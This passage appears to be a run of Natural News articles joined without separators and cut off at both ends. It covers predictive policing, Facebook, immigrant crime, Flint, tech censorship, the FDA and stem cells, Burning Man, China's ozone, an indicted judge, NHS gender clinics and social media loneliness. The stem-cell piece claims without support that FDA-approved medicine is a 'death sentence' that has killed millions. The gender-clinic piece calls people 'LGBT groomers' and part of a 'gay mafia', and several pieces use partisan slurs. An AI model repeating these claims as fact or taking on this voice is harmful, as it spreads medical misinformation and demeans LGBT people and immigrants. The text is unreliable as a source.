predictive crime technology leads to pre-incident arrests for criminal activities some machine thinks someone is about to engage in? (Related: Minority Report PRE-CRIME now real in Colorado as it becomes latest state to pass red flag gun law.) Farfetched? Hollywood has already made a movie about it, and not recently (Minority Report 2002). As for pre-arrests for pre-crimes, Hollywood has that covered as well (Pre-Crime 2017). In the latter, according to the series official trailer, A pre-emptive arrest is made of someone before they perform an act all based on a computer algorithm (powered by predictive artificial intelligence). Adoption of pre-crime tech is beginning to trend in the U.S. PredPol, one of the leading systems on the market, is already being used by law enforcement in California, Florida, Maryland and other states, reports Bleeping Computer. Aside from civil liberties concerns, however, a flaw found in the design of the type of software used indicates that predictive algorithms are to blame for a whole new set of problems. After U.S. researchers analyzed how PredPol actually works to predict crime, they discovered that the software initiates a feedback loop leading cops to being repeatedly directed to certain neighborhoods regardless of what the actual crime rates in those neighborhoods really is. The problem? Human decisions go in to designing software, including AI software, so flaws are inherent in them. Still, based on trial and error, researchers are bound to come up with a technology that functions on a certain level. The problem then becomes what to do about being able to predict crime before it happens and that will inevitably lead to pre-arrests. Read more about how big government plans to use future technology against us at Precrime.news and FutureTech.news. Sources include: NextGov.com BleepingComputer.com NewsTarget.com (Natural News) The legal woes are mounting for Facebook as federal prosecutors continue their investigation into the social media giants illegal data sharing practices. The House Judiciary anti-trust panel revealed that Facebook lied to Congress about users having complete control over their personal information. Not only did Facebook sell out its own users privacy, but they exploited the personal information of hundreds of millions of people in an illegal pay-to-play data sharing scheme. Right now, two major Smartphone companies are being subpoenaed for engaging in shady data deals with Facebook deals that bypassed consumer privacy and consent. Facebooks solution to these illegal data-sharing woes: appoint one of the main authors of the Patriot Act to head up their legal defense team. Jennifer Newstead, who served in the Justice Department in the second Bush administration, will be taking over as general counsel for Facebook. Newsteads resume includes lobbying for more electronic surveillance. According to a press release by the Justice Department in 2002, Newstead was a major player who helped craft the Patriot Act in the days after 9-11. John Yoo, a Bush administration lawyer, described Newstead as the day-to-day manager of the Patriot Act in Congress. Facebooks true intentions show as they hire Patriot Act architect The Patriot Act was a rushed piece of legislation that granted the intelligence community sweeping new powers. One of those new powers included surveillance of American citizens without a warrant. Like the government, Facebook has been collecting data on all its users. That data is being sold without user consent and leveraged at the expense of individual privacy. With Newstead at the helm, Facebook will be in a better position to justify their illegal data sharing practices. With Newstead in charge, Facebook will be increasingly used to conduct wide-scale surveillance on its users and convict people of crimes. According to Facebook COO Sheryl Sandberg Jennifer is a seasoned leader whose global perspective and experience will help us fulfill our mission. This couldnt be any truer: As Facebook exploits user privacy, who better to hire than the one who lobbied Congress to pass the Patriot Act? The Patriot Act established the FISA court and enabled law enforcement to use wiretaps without a warrant. The Patriot Act enabled intelligence agencies to request specific data without authorization from a court as long as they considered the suspect a national security threat. The Patriot Act justified the bulk collection of phone records from U.S. carriers and the vast collection of Internet metadata. The details of these lawless practices were kept secret until Edward Snowden leaked the governments spying operations to the public. Newstead, who helped intelligence agencies obtain data illegally, will now be defending Facebook, which sells peoples data illegally. Newstead will have the power to enable tens of thousands of law enforcement data requests Because of the Patriot Act, Facebook is now used as a surveillance tool. In the second half of 2018, there were more than 32,000 requests for data initiated by U.S. law enforcement. The FISA court has requested content from more than 20,000 different Facebook accounts. These law enforcement requests are kept private and are subject to gag orders. As Facebooks general counsel, Newstead will have the power to enable these data requests, unleashing loads of personal information to law enforcement and intelligence agencies. With Newstead in charge of the data, law enforcement will be granted new surveillance powers, just as they were when Newstead helped craft the Patriot Act. Because Newstead never cared for peoples privacy before, its highly likely she will annually approve tens of thousands of government requests for information in violation of peoples privacy. Many people will not know whether they are being investigated behind closed doors as their Facebook information is dissected and evaluated by law enforcement agencies. Hiring Newstead shows the true intentions of Mark Zuckerburgs nefarious data collection farm called Facebook. For more on these issues, visit PrivacyWatch.News. Sources include: TheVerge.com Politico.com TheHill.com History.com NewsTarget.com NPR.org (Natural News) Sanctuary cities may be safe havens for illegal immigrants, but liberal immigration policies continue putting the lives of U.S. citizens at risk. It was recently reported that an illegal immigrant living in the Seattle area has been arrested for allegedly raping a woman after pretending to be her Uber driver. The suspect, 34-year-old Israel Ramos-Islas, is now being held on a $750,000 bond. According to reports, the alleged victim went to an office Christmas party on December 15, in Ballard, WA. Afterward, she and some coworkers went to a bar. From there, she ordered an Uber. The woman went outside to look for her driver and asked several people if they were her Uber. Phony Uber driver rapes woman One man, now identified by police as Ramos-Islas, claimed to be her Uber driver and handed her a water bottle. The victim told police she started to lose consciousness in the car, but that she remembered him saying, I will take you home, but we are going to have some fun first. The next thing she remembers, according to reports, is Ramos-Islas on top of her, raping her in a parked car near a bus stop in White Center. Police have released surveillance footage from her Ring doorbell, showing the two approaching her home at 1:45 a.m. Only 30 seconds of footage was captured, but the video feed shows Ramos-Islas pulling her house keys from his pocket and trying to open the door. The victim says after that, she remembers getting inside and going to bed. The next day, she went to Harborview Medical Center for a sexual assault examination. According to recent reports, prior to being arrested, Ramos-Islas returned to his victims home with his wife. The victim called police, who went on to release him from custody. But the following morning, Ramos-Islas was arrested at his lawyers office. Authorities have also recently revealed that Ramos-Islas is a suspect in two other similar cases. Wave of crime This is unfortunately not the first time an innocent and unsuspecting American citizen has been harmed by an illegal immigrant. In April 2018, a young woman in the Boston area was raped by an illegal immigrant and this one actually drove for Uber. As Fox News reports, 30-year-old Frederick Amfo was an illegal immigrant from Ghana who drove for Uber and was charged with rape. The victim, Emily Murray, says on the way home, Amfo locked the doors and forced her into the backseat, where he raped her. After being charged with rape, Quincy Court District set Amfos bail at just $10,000. If he made bail, Amfo was supposed to have 24 hours to surrender his passport. He made bail and no passport was ever collected. Three days later, authorities concluded Amfo had fled the country. Immigration and Customs Enforcement (ICE) say that Amfo should have been under a federal immigration detainer. Local police say they forwarded the detainer request to Quincy Court District, but it appears that the district court did not send that detainer to Norfolk County. The court chose not to forward the detainer to Norfolk County, allowing for his subsequent release on bail from custody. This case highlights the potential dangers of policies that prohibit cooperation with ICE, officials from the agency said in statement. Now, a rapist goes free all for the sake of liberal politics. This is not the first time the Left has sacrificed American citizens to advance their agenda, and it certainly wont be the last. Under far left dogma, no one is safe. See more coverage of the latest left-wing atrocities at LeftCult.news. Sources for this article include: TheGatewayPundit.com FoxNews.com (Natural News) It has been more than three years since Flint, Michigan drew water from the Flint River for its residents in an attempt to save money. Today, the crisis in Flint continues to harm those who have been exposed to contaminated water. A study from the University of Kansas (KU) and the University of West Virginia (WVU) suggests that fetal death rates increased by 58 percent, while fertility rates in Flint women decreased by 12 percent because of the water crisis in Flint, according to a Science Daily report. The researchers compared the fertility rates in Flint to the fertility rates in 15 other big cities in Michigan between 2008 and 2015. They also compared data on sexual activity and birth rates before and after the Flint water crisis to come up with a general fertility rate. The researchers may have anticipated a decrease in birth rates, given the well-documented effects of lead exposure on fertility, but the difference was a bit larger than they expected, according to a Daily Mail report. If the fertility were the same as it had been in the previous years, they would have expected about the same number of documented fetal deaths because reported sexual activity in Flint did not decrease that time. This can only explain a small fraction of the overall change in fertility rates and we speculate that much of the results we find are likely due to an increase in miscarriages in Flint, says Daniel Grossman, as assistant professor of economics at WVU. It is important to quantify the size of these fertility changes to understand the full cost of the water change on the residents of Flint, says Grossman. Moreover, data show the overall health at birth of the children in Flint decreased as well when compared with children from other Michigan cities. The overall finding of the study indicates that approximately 275 fewer children were born in Flint than expected if the city did not change its water source. The results suggest that either Flint residents were less likely to conceive children or women were having more miscarriages during this time period, Grossman says. Flint has faced a major public health emergency due to lead poisoning since it switched its public water source to the Flint River in April 2014. As soon as the water switch happened, the residents started to complain about the odor, taste, and appearance of the water. They even raised health concerns and reported rashes, hair loss, and other problems. The lead levels in the blood of children who drank the contaminated water extremely increased. (Related: Flint, MI, water is now causing rashes and hair loss across the city) No public warning in the state was issued until early 2016. As a result, a number of Michigan officials now face criminal charges ranging from involuntary manslaughter to misconduct in office to obstruction of justice. The researchers also did not find evidence of avoidance behavior. They looked at Google Trends data and saw no increase in online searches by Flint residents related to lead and lead poisoning, which would indicate concern about the effects of lead in the water. Grossman said that if the residents were worried about lead in the water, it could influence their behavior related to deciding to have children. He also said that they did not see an increase in such searches about lead poisoning until research on lead in Flint began coming out in September 2015. During the period in which water was sourced from the Flint River (beginning on April 25, 2014), local and state officials continually reassured residents that the water was safe. Officials did not issue a lead advisory until September 2015, just a few weeks before switching off Flint River water for good, the report says. Sources include: ScienceDaily.com DailyMail.co.uk USNews.com (Natural News) After the 2016 Presidential election, independent publishers, conservative bloggers, and free thinkers on the web have faced extreme censorship from the Tech giants Facebook, Apple, Google, Twitter, etc. These social media juggernauts have the power to stop the flow of any news they consider fake. They have filters and algorithms that systematically block specific terms, content, and videos. They have the power to shadow ban users based on the ideas they share, the words they use, and the beliefs they espouse. Social media companies have used hate speech policies to marginalize specific viewpoints and have them blocked. There is no such thing as a free and open internet any longer. When a social media company says they want to combat Russian propaganda or stop misinformation, they are endorsing an official narrative, forcing it on the public, and censoring out any dissent or other perspective on the matter. Tech giants now open about centralized censorship of current events Now the tech giants are getting together and discussing centralized censorship to coordinate the universal blocking of videos and news reports that question official narratives. In 2017, Facebook, Microsoft, Twitter, and YouTube launched the Global Internet Forum to Counter Terrorism (GIFCT). In a bid to keep the global internet safe from terrorist propaganda, the tech giants have devised a database system that identifies extreme and egregious content so it can be removed in real-time. This is how the Tech giants plan to control the publics perception on future tragedies and historical events. GIFCT allows participating social media companies to share a database of hashed files to automatically block users from uploading content that has already been disavowed by the tech elite. The GIFCT database was recently used to quickly remove content related to the recent terrorist attacks on ChristChurch in New Zealand. According to Chris Sonderby, VP and Deputy General Counsel for Facebook, We continue to work around the clock to prevent this content from appearing on our site, using a combination of technology and people. Sonderby said that Facebook removed the original Facebook Live video of the event and hashed it so that any other video similar to it can be detected and automatically removed from Facebook and Instagram. Once a video is hashed, any real-time depiction of that same event will also be blocked. This hash system will inadvertently wipe out important historical details about an event and hinder investigation and real journalism into the matter. As all related videos are scrubbed, the tech giants withhold important information about an event and can shape the publics perception about that event. As the tech giants begin sharing these hashes in a centralized database, they can work together to control what the public has access to across all social media platforms. The tech giants are literally writing their own version of history by filtering out all videos and subsequently all truthful articles that would come about after seeing, hearing, and knowing what actually happened. Even more eye-opening, the president of Microsoft, Brad Smith, wants to expand GIFCT into a joint virtual command center to allow all tech companies the ability to coordinate during major events so that they can decide what content is in the public interest. Microsoft desires industry-wide action on this issue so that Internet users can only see and hear official information. The tech giants are also threatening to go beyond just content hashes. They are experimenting with sharing URLs systematically rather than just content hashes. This would create a centralized blacklist of URLs so that videos, accounts, forums, and entire websites can be blocked. These efforts may also include browser-based filters on every computer that are automatically turned on to block users from accessing or downloading forbidden content. The tech giants are selling this coordinated centralized censorship plan in the name of safety, as they promise to protect internet users from terrorist propaganda. The tech giants want to moderate content during and after a high-profile incident. This is an attack on independent journalism; it is a coordinated manipulation scheme over future events. After the Easter Sunday bombings in Sri Lanka, Barack Obama and Hillary Clinton said it was Easter worshippers who were attacked, not Christians. This is a basic example of how the liberal elite want to use hashes, speech control, filters, and the twisting of words to control the narrative about events in real-time. This liberal manipulation will be used to control voter motivations, and incite knee-jerk policy decisions such as gun control, while directing the publics emotions toward liberal agendas. As censorship grows, there is no accountability or recourse Facebook openly stated they added at least 800 new hashes after the Christchurch attack. As the list of hashes grows, there is no transparency or accountability. No one on the outside knows what kind of content is being targeted. No one knows the political and business motivations behind the censorship of select information. Even worse, theres no audit or appeals process to challenge this ever-expanding censorship. As social media posts and pages are removed, as URLs become blocked, as users become shadow banned, there is no pathway to challenge these monopolistic tech giants for violating freedom of expression, freedom of religion, freedom of the press, and freedom of speech. Tech giants ever-expanding hash database and automated filtering tools are a black hole, sucking in and destroying American journalism and democracy. These censorship efforts, sold under the guise of keeping people safe, are in violation of everything the United States Republic stands for. Sources include: Wired.com TheGatewayPundit.com Newsroom.Facebook.com ZeroHedge.com NewsTarget.com (Natural News) A team of researchers at the Department of Energys Lawrence Berkeley National Laboratory (Berkeley Lab) discovered that the skin microbiome contains the microbe archaea and that its quantities vary depending on the age of a person. This research was derived from a planetary protection project for the National Aeronautics and Space Administration (NASA) and the European Space Agency. Christine Moissl-Eichinger, of the Medical University of Graz and the corresponding author of the study, explained that as they were looking around the spacecraft and their clean rooms for the presence of archaea and for methanogens (methane-producing archaea), they found a lot of thaumarchaeota instead. Thaumarchaeota are a different type of archaea that survive with oxygen. The researchers presumed that these came from human skin as they also found the microorganism in hospitals and other clean rooms. With the discovery, they carried out an initial study on 13 participants and confirmed that they all had these archaea on their skin. Later on, they conducted a follow-up study the current study which was published in the journal Scientific Reports. Here, the researchers looked at genetic and chemical analyses of samples gathered from 51 individuals who were one to 75 years old. The samples were taken from the chest area. Results revealed that individuals below 12-years-old and above 60-years-old had the largest number of the single-celled microorganisms archaea, while middle-aged individuals had less archaea and that there was a five- to eight-fold difference between middle-aged people and the elderly. In addition, they found that the age of a person is not the only factor that influenced the amount of archaea in the skin microbiome, but also the type of the skin. Results showed that people with dry skin had more archaea compared to those who had oily skin, indicating a link between lower levels of sebum, which decreases skin moisture, and the increase of archaea. Moissl-Eichinger explained that archaea might have a role in the cleanup process. As of today, most archaea are known to be helpful to human health rather than harmful as they may play a role in decreasing skin pH or maintaining it at low levels. Lower pH means lower chance of getting infections. Archaea is a microbe that only survives in extreme conditions, such as hot springs and Antarctic ice, and also on the skin. Scientists only differentiated archaea from bacteria in the 1970s, and from then, it became one of the three branches of life on earth, along with bacteria and eukarya. Hoi-Ying Holman, a senior author of the paper and his team developed a technique to quickly determine whether a microorganism was a bacteria or archaea through the use of Berkeley Labs infrared Advanced Light Source (ALS). The researchers said that because of the lack of age diversity in the sampling criteria in past studies, there is not much discovery on how age influence the amount of archaea in humans. Most of the scientific attention has been on bacteria, because its easier to detect. Based on the literature, six years ago we didnt even know that archaea existed on human skin. Now weve found theyre part of the core microbiome and are an important player on human skin, Holman explained. Their future research will focus on the difference between environmental archaea and archaea found in human skin and its physiological role. Moreover, they will investigate on the different places archaea live in the body and whether they are essential in pathogenic process, such as neurodermatitis or psoriasis. The research was funded by the U.S. Department of Energys Office of Science, BioTechMed Graz, the Bavaria California Technology Center, and the University of Regensburg. Sources include: NewsCenter.LBL.gov Nature.com (Natural News) The U.S. Food and Drug Administration is on a mission to eliminate all access to adult stem cell therapy, a medical protocol that involves utilizing a patients own endogenous stem cells for regenerative healing. And putting two and two together, its because this natural technique doesnt require the use of any pharmaceutical drugs, which means the Big Pharma companies that control the FDA dont make any money from it. In the crosshairs of this anti-health freedom FDA crusade is Dr. Kristin Comella, Ph.D., an adult stem cell specialist based out of South Florida whos been successfully treating patients with adult stem cells for the past 15 years. Dr. Comella and her clinic have reportedly been under attack not only by the FDA, but also by the mainstream media, which has repeatedly published lies and slander against her in order to destroy her reputation. In the below video, Dr. Comella talks about what shes had to endure from the FDA, a corrupt federal agency that doesnt care one iota about human health, and that works solely on behalf of the pharmaceutical industry to ensure that its profits remain sky high at all times even when doing so means subjecting tens of thousands of Americans to early death every single year from toxic, FDA-approved pills, injections, and surgeries. I dont know if people realize how painful it is to read some of these things, to portray me as someone who is out to take advantage, Dr. Comella states during the video interview about the many trials and tribulations shes had to suffer at the hands of the FDA. What Im doing is fighting for the rights of patients. For more news about the corrupt FDA and how this evil agency has long been in bed with Big Pharma, be sure to check out FDA.news and BigPharma.Fetch.news. FDA-approved drugs and surgeries have killed MILLIONS of people As explained in the same video by Michelle Parlo, a physician assistant at Dr. Comellas practice, the largest orthopedic study ever conducted on adult stem cell therapy revealed that an impressive 93 percent of patients see success from adult stem cell therapy after just one treatment. There is no medication, surgery, or procedure that has those numbers with a low side effect profile, Parlo further reveals. Figures like this certainly dont exist for any of the drugs or surgeries that are FDA-approved as science-based medicine. In fact, most FDA-approved medicine is a certifiable death sentence, having caused quite literally millions of patient deaths since the FDA first came into existence. Medications can be approved with a 20 percent adverse event rate. They also accept deaths. Death could be a side effect were talking about FDA-approved drugs, the video further explains. In tens of thousands of patients, we can only point to a handful of adverse events, which get replayed on the front page of the newspaper and I get crucified for, Dr. Comella says. If this doesnt prove, without a shadow of a doubt, that the FDA isnt actually in the business of healing, but is rather dedicated to propping up Big Pharma quackery for profit, then nothing will. Adult stem cell therapy is natural; it works; and tens of thousands of patients have experienced unprecedented benefits from receiving it and all of this is at the crux of why the FDA wants to obliterate it from the American medical arsenal. Ive really dedicated my career to studying stem cells and the bodys natural healing, says Dr. Comella. And I have to remember all of the patients who are counting on me to have the voice when they dont have the voice. Sources for this article include: HealthImpactNews.com NaturalNews.com (Natural News) Burning Man may bill itself as one of the worlds largest Leave No Trace events, but that doesnt mean the festival is actually doing any good for the environment. Despite the events environmentalist rhetoric, there are growing concerns about Burning Mans environmental impact. From burning diesel fumes and lavish RV campsites to massive amounts of human waste, there are a number of not-so-Earth-friendly practices going on at the desert festival. While Burning Man may say, leave no trace, the state of the desert says otherwise. Residents from nearby towns say that burners are not nearly as eco-friendly as they believe themselves to be. For example, Daily Wire reports Burning Man doesnt supply festival-goers with dumpsters to put garbage in, so a lot of trash ends up in the backyards of local residents. Burning Man itself has said that it would take at least 1,500 dump trucks to remove the 15,000 tons of waste produced by the festival and its attendees. Instead, the environmentally-friendly burners leave their garbage in other peoples yards so someone else can take care of it. Actions speak louder than words and this behavior exemplifies liberal dogma to a T. This is not the first time liberals have destroyed their environment, and it wont be the last. Burning Man trashes environment Supposedly, the lack of trash cans and dumpsters at Burning Man is supposed to make attendees more aware of their garbage production. But it also means the event organizers dont have to pay for garbage removal and it helps them hide how much waste is truly produced. In 2017, some 5,000 bikes were left behind. Residents from a number of nearby Nevada towns say that after Burning Man is over, burners are all too eager to illegally dump their garbage once theyve reached civilization. Sometimes they leave four-foot piles of garbage littering the desert Reno resident Garrett York says, Take a drive around Reno in the days following Burning Man, and you will easily see illegally dumped trash just about everywhere. Itll be covered in playa dust. SF Gate reports public works employees saying theyve seen everything from bicycles and coolers to full-sized RVs dumped around the city. Bryan Heller, the assistant director of Reno Public Works, says that the city can easily pick up six 30-foot dumpsters worth of Burning Man trash equivalent to 400 residential garbage cans. Another Reno resident, Elle Dee Childress, says she has to lock her garbage cans the week the festival ends. One year, she recalls, burners walked right up her driveway and filled all her garbage cans up with their waste. A resident from Gerlach, NV tells The Wall Street Journal, This town gets trashed. The resident suggested further that Burning Mans anti-capitalist Utopian facade is just an image they uphold to make money. This is big money for Burning Man and they should be responsible, he stated. Festival under fire While Burning Man may continue to promote its image as a Utopian reprieve from reality, federal regulators are pushing for event leaders to take a more assertive approach to keeping the desert clean. The Bureau of Land Management (BLM) has said that Burning Man needs to implement a number of changes at Black Rock City, where the event is hosted each year, to better protect the environment. Some of these changes include providing designated trash disposal areas for attendees, a trash fence to prevent winds from blowing refuse across the playa and improvements to the festivals water and sewage systems. BLM also wants Burning Man to contribute to the maintenance of the single highway that leads to Black Rock City. Residents of the area feel that the event should take more responsibility for the pollution they create. After the 2018 Burning Man festivities, BLM said burners left behind far too much garbage including an abandoned 747 plane that had been turned into luxury living quarters. Burning Man organizers say that the BLMs recommendations do not fit with their vision of the festival. The fact that it would increase the events expenditures by 60 percent probably doesnt sound to appealing to Burning Man leaders either. See more coverage of liberal stupidity at Liberalmob.news. Sources for this article include: DailyWire.com SFGate.com USAToday.com (Natural News) American and Chinese researchers warned that China is losing its war on air pollution. Even as the worlds most populous country brought down levels of airborne particulate matter, the amount of ozone pollution entering the air rose to take the place of PM 2.5. The Chinese government began its campaign against air pollution in 2013. Concerned about the dangerous levels of PM 2.5 air pollutants, it started implementing strict rules and regulations in order to reduce the amount of fine particulate matter that vehicles and industries were pumping out into the air. Cities placed a limit on the number of cars on the streets. Coal-fired power plants either cleaned their exhaust or were shut down and replaced with new plants that burned cleaner natural gas. The five-year plan appeared to have achieved its goals. PM 2.5 levels in the eastern half of the country has dropped by almost 40 percent. China also increased the number of air quality monitoring stations to more than 1,000. These stations gathered massive amounts of environmental data from across the entire country, including some surprising and disturbing news. (Related: City life is KILLING humanity: 95% of humans living today are breathing polluted air, mostly from cities.) Ozone is replacing fine particulate matter as the main air pollutant in China A joint research team from Harvards John A. Paulson School of Engineering and Applied Sciences (SEAS) and the Nanjing University of Information Science & Technology (NUIST) were surprised to find out that dangerous ozone pollution at ground level is replacing PM 2.5 as the new threat to Chinese public health. The impending new crisis is especially widespread in large cities. Ozone is the most important component of smog. It first drew the attention of researchers during the 1950s, when it began filling the skies of American cities. A number of chemical reactions is responsible for the formation of ozone. The process begins when volatile organic compounds (VOCs) undergo oxidation. This oxygen-based chemical reaction releases chemical radicals into the air. If there is sunlight present, the radicals cause other VOCs to react with oxides of nitrogen (NOx), thereby producing ozone. NOx and VOCs are some of the emissions produced by burning fossil fuel. VOCs are also belched out by factories and other industrial facilities. In their study, the Chinese-American research team found that PM 2.5 and other particulate matter did have at least one beneficial purpose: They absorbed the radicals responsible for kicking off ozone production. China must now tackle the problem of ozone air pollution There was so much particulate matter in Chinese cities that it stunted the ozone production, explained SEAS researcher Daniel Jacob. One of the two authors of the study, Jacob said that the swift reduction of PM 2.5 caused considerable changes in the chemical composition of the atmosphere. As a result, radicals that were normally neutralized by fine particulate matter were now free to react with NOx and VOCs. This led to increases in ozone levels. We havent observed this happening anywhere else because no other country has moved this quickly to reduce particulate matter emissions, Jacob added. It took China four years to do what took 30 years in the U.S. While the researchers did praise China for cleaning up air particulate matter in its skies, they also warned that ozone levels are going to keep getting worse. Current Chinese regulations did not target NOx and VOCs. Hong Liao, a NUIST professor who co-wrote the paper alongside Jacob, stressed that efforts must be taken to reduce non-particulate air pollutants. Otherwise, the ozone created by these pollutants will simply take the place of PM 2.5 as the new deadly killer in the skies of China. Sources include: ScienceDaily.com PNAS.org (Natural News) Since POTUS Donald Trump took office and issued his first executive order aimed at curbing illegal immigration, shoring up border security, and keeping our country safe from potential terrorists, the hard American Left has opposed him. This includes judicial activists on federal and state courts who either ignore existing law or fabricate rulings out of thin air to justify their support for people in our country illegally. Well, the Justice Department has finally had enough and is taking action against officers of the court who have sworn an oath to uphold the law but instead have chosen to ignore it because of their irrational hatred of the president. Judge Shelly Richmond Joseph has been indicted by federal prosecutors for blocking Immigration and Customs Enforcement from detaining an illegal alien who has been deported twice from the United States. Joseph, of Newton, Mass., and court officer Wesley MacGregor have been charged with conspiracy to commit obstruction of justice, actual obstruction of justice, and aiding and abetting obstruction of justice of a proper federal proceeding. The only thing confusing about this is the length of time it took to indict these two. As The Gateway Pundit reports: The indictment stems from an April 2018 incident from when the activist judge and her partner-in-crime helped Jose Medina-Perez, slip out of the courthouse covertly through a back door to evade ICE agents. As The National Sentinel reported in December, Joseph had been under investigation for some time which may help explain the lapse in time it took to indict her: A federal grand jury is investigating a state judge in Massachusetts who allegedly violated her oath of office and the law by helping an illegal alien who appeared in her court escape Immigration and Customs Enforcement agents. Massachusetts Gov. Charlie Baker, who appointed Newton District Judge Shelley Joseph, is calling for her to be suspended from hearing cases temporarily and to be reprimanded if found to have assisted Jose Medina-Perez in eluding ICE agents who were waiting for him outside her courtroom Lets hope this is just the first of many cases to come Look, judges are not supposed to be in the business of obstructing justice, Baker told local media at the time, adding that the allegations were extremely troubling and that in the meantime she shouldnt be hearing cases. I dont regret nominating her, but as I said, I find this story as its currently been presented, extremely troubling, he added. As far as I can tell, based on the facts as they were presented, she clearly violated the courts own policies with respect to the way theyre supposed to handle detainers that involve federal immigration enforcement. I dont think she should be hearing court cases in the meantime, he added. Apparently, the grand jury found the actions of Joseph and her cohort to be extremely troubling as well and likely illegal. This case is about the rule of law. The allegations in todays indictment involve obstruction by a sitting judge, that is intentional interference with the enforcement of federal law, and that is a crime, said U.S. Attorney for the District of Massachusetts Andrew Lelling on Thursday. ICE had filed a detainer request with the court for Medina-Perez, who was arrested in Pennsylvania for drug possession on the latest charge. Hes been deported twice which, again, proves that POTUS Trumps wall is needed. According to federal officials, MacGregor helped Medina-Perez escape by using his court security card to escort the criminal alien out of the courthouse via a back door. ICE agents were waiting in the lobby of the courthouse for Medina-Perez at the time he was allowed to escape. It really is time for the Justice Department to step in and begin legal proceedings against these renegade state officials who have been aiding and abetting illegal immigrants. Hopefully, this case is the first of many more to come. Read more about the criminal alien invasion of the U.S.A. with the help of open borders policies at InvasionUSA.news and OpenBorders.news. Sources include: TheNationalSentinel.com TheGatewayPundit.com (Natural News) Theres a mass exodus taking place within the ranks of the National Health Service (NHS), the official government-run health care program of the United Kingdom, over corrupt policies that a growing number of ex-employees are describing as unproven scientific experimentation on children with gender dysphoria. According to reports, more underage children than ever in England are now being recommended for gender transition therapy in the form of drugs and surgery, even when theyre just confused as many developing youngsters are as they naturally transition through puberty into adulthood. As many as 18 people have thus far resigned from the NHS gender clinic due to outrage and outright horror over what theyve been witnessing take place there over the past several years. In essence, children as young as three are being given puberty-blockers, and in some cases irreversible cross-sex hormones, in pandering concession to the Cult of LGBT. They believe that some gay children struggling with their sexuality are being wrongly diagnosed as transgender by the Gender Identity Development Service (GIDS) clinic, reports reveal about how these former NHS employees feel about whats going on in the name of tolerance and acceptance. All five former staff were responsible for deciding which trans-identifying youngsters should be given hormone blockers to halt their sexual development. The vast majority of those who begin blockers go on to irreversible cross-sex hormones once they reach 16, the report adds. For more related news, be sure to check out Gender.news. The number of underage children referred for transgender therapy has increased 26-fold since 2010 In just the past decade, the number of children referred to the NHS gender clinic has risen dramatically from just 94 in 2010 to 2,519 in 2018 a 26-fold increase, which many cognizant NHS employees see as indicative of a major problem. Not only are many of the children being referred to the NHS gender clinic not being properly assessed using standard clinical methods, but theyre also being actively encouraged to transition for no other reason than to fulfill the militant LGBT-driven agenda. I felt for the last two years what kept me in the job was the sense there was a huge number of children in danger, one former clinician told the local media about her reason for staying as long as she did. I was there to protect children from being damaged. Another former clinician told the same local media outlet that she believes the entire situation is an assault on children, and especially vulnerable children. Its one big sick experiment on tiny humans who dont yet possess the wherewithal to make such decisions on their own, and are instead being coerced to do so by LGBT groomers as part of the gay mafias evil agenda for humanity. When it comes to what is causing rising numbers of people to identify as transgender, all teenagers go through a phase known as gender formation,' stated Dr. Michelle Cretella, M.D., FCP, president of the American College of Pediatricians and a vehement opponent of gender transitioning in children, which she openly says is a form of child abuse, during a talk last year in Rhode Island. During this time a certain number are susceptible to marketing that they are trapped in the wrong body,' she added, noting that biological sex is fixed, and is not assigned. Sex is determined at conception by our DNA and is stamped into every cell of our bodies, notes Dr. Cretella. Human sexuality is binary. You either have a normal Y chromosome, and develop into a male, or you dont, and you will develop into a female. There are at least 6,500 genetic differences between men and women. Hormones and surgery cannot change this. Sources for this article include: DailyWire.com NaturalNews.com (Natural News) Social media was initially touted as a convenient way of getting in touch with family and friends, both old and new. However, a study suggests that social media use is associated with loneliness and increased risk of various health problems. The study, which was published in the American Journal of Health Promotion, was conducted by researchers from the University of Pittsburghs (Pitts) Center for Research on Media, Technology, and Health (MTH). Data from the study revealed that positive interactions on social media dont make young adults feel more connected. Moreover, negative experiences increase the likelihood of users reporting loneliness. These findings referenced award-winning research that was conducted by MTH researchers in 2017, which associated more frequent use of social media with increased feelings of loneliness. The studys lead author and director of MTH, Dr. Brian Primack, who is also the dean of Pitts Honors College, notes that this link between social media use and loneliness is surprising since platforms like Facebook are supposed to help people connect with each other. Perceived social isolation, which is a synonym for loneliness, is linked to health conditions like depression, heart disease, or high blood pressure. Because social media is a regular part of daily life for most people, it is crucial to determine why this is happening. Primack also says that experts should try and help users navigate social media without as many negative consequences. Perceived social isolation and Facebook usage For the study, the researchers surveyed 1,178 students from West Virginia University aged 18 to 30. The survey included questions about social media use, to what extent their experiences were positive or negative, and their level of perceived loneliness. The research team analyzed these perceptions of social media interactions across the specific platforms students were using. The data showed that for every 10 percent increase in negative experiences on social media, the participants reported a 13 percent increase in feelings of loneliness. Meanwhile, for every 10 percent increase in positive experiences on social media, the volunteers reported no statistically significant changes in feelings of loneliness. Dr. Jaime Sidani, coauthor of the study and assistant director of MTH, said that it was unclear if the users who felt lonely were actively looking for or attracting negative social media experiences, or if the users were having negative social media experiences that were causing perceived isolation. Sidani explained that individuals often give greater weight to negative experiences and traits than to positive ones. This could explain why users tend to feel lonely because of social media. (Related: Spending too much time on social media can make you lonely and depressed.) It is possible that positive experiences on social media are only linked to fleeting positive reinforcement, while negative experiences, like public disagreements on social media, could rapidly worsen and leave a lasting, potentially traumatic impression. Another possibility is that socially isolated individuals prefer to use social media for negative interactions. Sidani mused that the answer could also be a combination of both factors. The researchers warned that the study results emphasize the need for intervention to minimize feelings of loneliness associated with social media use. Primack said that health care professionals should teach the public to be more responsible and thoughtful when interacting with other users online. He concluded that advocating for awareness and education around positive and negative social media experiences can help significantly improve the emotional and mental health of countless users. Tips for handling negativity on social media The best way to avoid negative experiences on social media is to curb your use of platforms like Facebook and Twitter. But if you occasionally check your Facebook, here are some tips that will help you handle negativity on social media. Dont pay attention to online trolls. Trolls arent interested in intelligent, productive discussions, so dont engage their negativity. Foster a caring online community. If you see negative comments from trolls on a friends Facebook post or on a blog that you follow, dont reply to them. Instead, post positive comments and tell your friend that their post was enjoyable. Your friend will appreciate your support, and your comment will encourage others to speak up. Respond to trolls with humor or kindness. Trolls thrive on chaos, but they will probably be disarmed if you respond to their hate with a funny but kind response. You can even thank them for their insight, but dont stoop to their level by leaving hurtful, negative responses. Try to repair the relationship. Sometimes, you may end up disagreeing with people you personally know, like family and friends, on social media. If you want to have an amicable relationship with them, try sending them a private message or ask if they want to discuss things over the phone instead. Private channels can help facilitate a peaceful solution to online disagreements. Use social media wisely, or ignore it completely and interact with family and friends to promote healthy and meaningful personal relationships. Sources include: ScienceDaily.com Grammarly.com The World Health Organization says Malawi has become the first country to begin immunizing children against malaria, using the only licensed vaccine to protect against the mosquito-spread disease. Although the vaccine only protects about one-third of children who are immunized, those who get the shots are likely to have 